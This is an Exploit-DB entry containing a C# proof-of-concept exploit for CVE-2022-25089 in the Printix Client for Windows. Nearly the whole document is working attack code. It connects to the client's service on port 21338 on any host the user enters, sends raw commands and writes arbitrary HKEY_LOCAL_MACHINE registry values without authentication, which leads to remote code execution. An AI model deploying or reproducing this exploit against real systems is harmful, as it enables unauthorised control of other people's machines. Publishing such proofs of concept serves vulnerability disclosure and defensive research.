Printix Client 1.3.1106.0 - Remote Code Execution (RCE)

EDB-ID:

50798




Platform:

Windows

Date:

2022-03-02


# Exploit Title: Printix Client 1.3.1106.0 - Remote Code Execution (RCE)
# Date: 3/1/2022
# Exploit Author: Logan Latvala
# Vendor Homepage: https://printix.net
# Software Link: https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip
# Version: <= 1.3.1106.0
# Tested on: Windows 7, Windows 8, Windows 10, Windows 11
# CVE : CVE-2022-25089
# Github for project: https://github.com/ComparedArray/printix-CVE-2022-25089

using Microsoft.Win32;
using Newtonsoft.Json;
using Newtonsoft.Json.Converters;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

/**
 * ________________________________________
 * 
 * Printix Vulnerability, CVE-2022-25089
 * Part of a Printix Vulnerability series
 * Author: Logan Latvala
 * Github: https://github.com/ComparedArray/printix-CVE-2022-25089
 * ________________________________________
 * 
 */


namespace ConsoleApp1a
{

	public class PersistentRegistryData
	{
		public PersistentRegistryCmds cmd;

		public string path;

		public int VDIType;

		public byte[] registryData;
	}

	[JsonConverter(typeof(StringEnumConverter))]
	public enum PersistentRegistryCmds
	{
		StoreData = 1,
		DeleteSubTree,
		RestoreData
	}
	public class Session
	{
		public int commandNumber { get; set; }
		public string host { get; set; }
		public string data { get; set; }
		public string sessionName { get; set; }
		public Session(int commandSessionNumber = 0)
		{
			commandNumber = commandSessionNumber;
			switch (commandSessionNumber)
			{
				//Incase it's initiated, kill it immediately.
				case (0):
					Environment.Exit(0x001);
					break;

				//Incase the Ping request is sent though, get its needed data.
				case (2):
					Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
					Console.Write("IP: ");
					host = Console.ReadLine();
					Console.WriteLine("Host address set to: " + host);

					data = "pingData";
					sessionName = "PingerRinger";
					break;

				//Incase the RegEdit request is sent though, get its needed data.
				case (49):
					Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
					Console.Write("IP: ");
					host = Console.ReadLine();
					Console.WriteLine("Host address set to: " + host);

					PersistentRegistryData persistentRegistryData = new PersistentRegistryData();
					persistentRegistryData.cmd = PersistentRegistryCmds.RestoreData;
					persistentRegistryData.VDIType = 12; //(int)DefaultValues.VDIType;
														 //persistentRegistryData.path = "printix\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName";
					Console.WriteLine("\n What Node starting from \\\\Local-Machine\\ would you like to select? \n");
					Console.WriteLine("Example: HKEY_LOCAL_MACHINE\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName\n");
					Console.WriteLine("You can only change values in HKEY_LOCAL_MACHINE");
					Console.Write("Registry Node: ");
					persistentRegistryData.path = "" + Console.ReadLine().Replace("HKEY_LOCAL_MACHINE","printix");
					Console.WriteLine("Full Address Set To:  " + persistentRegistryData.path);

					//persistentRegistryData.registryData = new byte[2];
					//byte[] loader = selectDataType("Intel(R) Capability Licensing stuffidkreally", RegistryValueKind.String);

					Console.WriteLine("\n What Data type are you using? \n1. String 2. Dword  3. Qword 4. Multi String  \n");
					Console.Write("Type:  ");
					int dataF = int.Parse(Console.ReadLine());
					Console.WriteLine("Set Data to: " + dataF);

					Console.WriteLine("\n What value is your type?  \n");
					Console.Write("Value:  ");
					string dataB = Console.ReadLine();
					Console.WriteLine("Set Data to: " + dataF);

					byte[] loader = null;
					List<byte> byteContainer = new List<byte>();
					//Dword = 4
					//SET THIS NUMBER TO THE TYPE OF DATA YOU ARE USING! (CHECK ABOVE FUNCITON selectDataType()!)

					switch (dataF)
					{
						case (1):

							loader = selectDataType(dataB, RegistryValueKind.String);
							byteContainer.Add(1);
							break;
						case (2):
							loader = selectDataType(int.Parse(dataB), RegistryValueKind.DWord);
							byteContainer.Add(4);
							break;
						case (3):
							loader = selectDataType(long.Parse(dataB), RegistryValueKind.QWord);
							byteContainer.Add(11);
							break;
						case (4):
							loader = selectDataType(dataB.Split('%'), RegistryValueKind.MultiString);
							byteContainer.Add(7);
							break;

					}

					int pathHolder = 0;
					foreach (byte bit in loader)
					{
						pathHolder++;
						byteContainer.Add(bit);
					}

					persistentRegistryData.registryData = byteContainer.ToArray();
					//added stuff:

					//PersistentRegistryData data = new PersistentRegistryData();
					//data.cmd = PersistentRegistryCmds.RestoreData;
					//data.path = "";


					//data.cmd 
					Console.WriteLine(JsonConvert.SerializeObject(persistentRegistryData));
					data = JsonConvert.SerializeObject(persistentRegistryData);

					break;
				//Custom cases, such as custom JSON Inputs and more.
				case (100):
					Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
					Console.Write("IP: ");
					host = Console.ReadLine();
					Console.WriteLine("Host address set to: " + host);

					Console.WriteLine("\n What Data Should Be Sent?\n");
					Console.Write("Data: ");
					data = Console.ReadLine();
					Console.WriteLine("Data set to: " + data);

					Console.WriteLine("\n What Session Name Should Be Used? \n");
					Console.Write("Session Name: ");
					sessionName = Console.ReadLine();
					Console.WriteLine("Session name set to: " + sessionName);
					break;
			}


		}
		public static byte[] selectDataType(object value, RegistryValueKind format)
		{
			byte[] array = new byte[50];

			switch (format)
			{
				case RegistryValueKind.String: //1
					array = Encoding.UTF8.GetBytes((string)value);
					break;
				case RegistryValueKind.DWord://4
					array = ((!(value.GetType() == typeof(int))) ? BitConverter.GetBytes((long)value) : BitConverter.GetBytes((int)value));
					break;
				case RegistryValueKind.QWord://11
					if (value == null)
					{
						value = 0L;
					}
					array = BitConverter.GetBytes((long)value);
					break;
				case RegistryValueKind.MultiString://7 
					{
						if (value == null)
						{
							value = new string[1] { string.Empty };
						}
						string[] array2 = (string[])value;
						foreach (string s in array2)
						{
							byte[] bytes = Encoding.UTF8.GetBytes(s);
							byte[] second = new byte[1] { (byte)bytes.Length };
							array = array.Concat(second).Concat(bytes).ToArray();
						}
						break;
					}
			}
			return array;
		}
	}
	class CVESUBMISSION
    {
		static void Main(string[] args)
		{
		FORCERESTART:
			try
			{

				//Edit any registry without auth: 
				//Use command 49, use the code provided on the desktop...
				//This modifies it directly, so no specific username is needed. :D

				//The command parameter, a list of commands is below.
				int command = 43;

				//To force the user to input variables or not.
				bool forceCustomInput = false;

				//The data to send, this isn't flexible and should be used only for specific examples.
				//Try to keep above 4 characters if you're just shoving things into the command.
				string data = "{\"profileID\":1,\"result\":true}";

				//The username to use.
				//This is to fulfill the requriements whilst in development mode.
				DefaultValues.CurrentSessName = "printixMDNs7914";

				//The host to connect to. DEFAULT= "localhost"
				string host = "192.168.1.29";

			//								Configuration Above

			InvalidInputLabel:
				Console.Clear();
				Console.WriteLine("Please select the certificate you want to use with port 21338.");
				//Deprecated, certificates are no longer needed to verify, as clientside only uses the self-signed certificates now.
				Console.WriteLine("Already selected, client authentication isn't needed.");

				Console.WriteLine(" /───────────────────────────\\ ");
				Console.WriteLine("\nWhat would you like to do?");
				Console.WriteLine("\n	1. Send Ping Request");
				Console.WriteLine("	2. Send Registry Edit Request");
				Console.WriteLine("	3. Send Custom Request");
				Console.WriteLine("	4. Experimental Mode (Beta)\n");
				Console.Write("I choose option # ");

				try
				{
					switch (int.Parse(Console.ReadLine().ToLower()))
					{
						case (1):
							Session session = new Session(2);

							command = session.commandNumber;
							host = session.host;
							data = session.data;
							DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);



							break;
						case (2):
							Session sessionTwo = new Session(49);

							command = sessionTwo.commandNumber;
							host = sessionTwo.host;
							data = sessionTwo.data;
							DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);

							break;
						case (3):

							Console.WriteLine("What command number do you want to input?");
							command = int.Parse(Console.ReadLine().ToString());
							Console.WriteLine("What IP would you like to use? (Default = localhost)");
							host = Console.ReadLine();
							Console.WriteLine("What data do you want to send? (Keep over 4 chars if you are not sure!)");
							data = Console.ReadLine();

							Console.WriteLine("What session name do you want to use? ");
							DefaultValues.CurrentSessName = Console.ReadLine();
							break;
						case (4):
							Console.WriteLine("Not yet implemented.");
							break;
					}
				}
				catch (Exception e)
				{
					Console.WriteLine("Invalid Input!");
					goto InvalidInputLabel;
				}
				
				Console.WriteLine("Proof Of Concept For CVE-2022-25089 | Version: 1.3.24 | Created by Logan Latvala");
				Console.WriteLine("This is a RAW API, in which you may get unintended results from usage.\n");

				CompCommClient client = new CompCommClient();


				byte[] responseStorage = new byte[25555];
				int responseCMD = 0;
				client.Connect(host, 21338, 3, 10000);

				client.SendMessage(command, Encoding.UTF8.GetBytes(data));
				// Theory: There is always a message being sent, yet it doesn't read it, or can't intercept it.
				// Check for output multiple times, and see if this is conclusive.



				//client.SendMessage(51, Encoding.ASCII.GetBytes(data));
				new Thread(() => {
					//Thread.Sleep(4000);
					if (client.Connected())
					{
						int cam = 0;
						// 4 itterations of loops, may be lifted in the future.
						while (cam < 5)
						{

							//Reads the datastream and keeps returning results.
							//Thread.Sleep(100);
							try
							{
								try
								{
									if (responseStorage?.Any() == true)
									{
										//List<byte> byo1 =  responseStorage.ToList();
										if (!Encoding.UTF8.GetString(responseStorage).Contains("Caption"))
										{
											foreach (char cam2 in Encoding.UTF8.GetString(responseStorage))
											{
												if (!char.IsWhiteSpace(cam2) && char.IsLetterOrDigit(cam2) || char.IsPunctuation(cam2))
												{
													Console.Write(cam2);
												}
											}
										}else
                                        {
											
                                        }
									}

								}
								catch (Exception e) { Debug.WriteLine(e); }
								client.Read(out responseCMD, out responseStorage);

							}
							catch (Exception e)
							{
								goto ReadException;
							}
							Thread.Sleep(100);
							cam++;
							//Console.WriteLine(cam);
						}

					


					}
					else
					{
						Console.WriteLine("[WARNING]: Client is Disconnected!");
					}
				ReadException:
					try
					{
						Console.WriteLine("Command Variable Response: " + responseCMD);
						Console.WriteLine(Encoding.UTF8.GetString(responseStorage) + " || " + responseCMD);
						client.disConnect();
					}
					catch (Exception e)
					{
						Console.WriteLine("After 4.2 Seconds, there has been no response!");
						client.disConnect();
					}
				}).Start();

				Console.WriteLine(responseCMD);
				Console.ReadLine();

			}

			catch (Exception e)
			{
				Console.WriteLine(e);
				Console.ReadLine();

				//Environment.Exit(e.HResult);
			}

			goto FORCERESTART;
		}
	}
}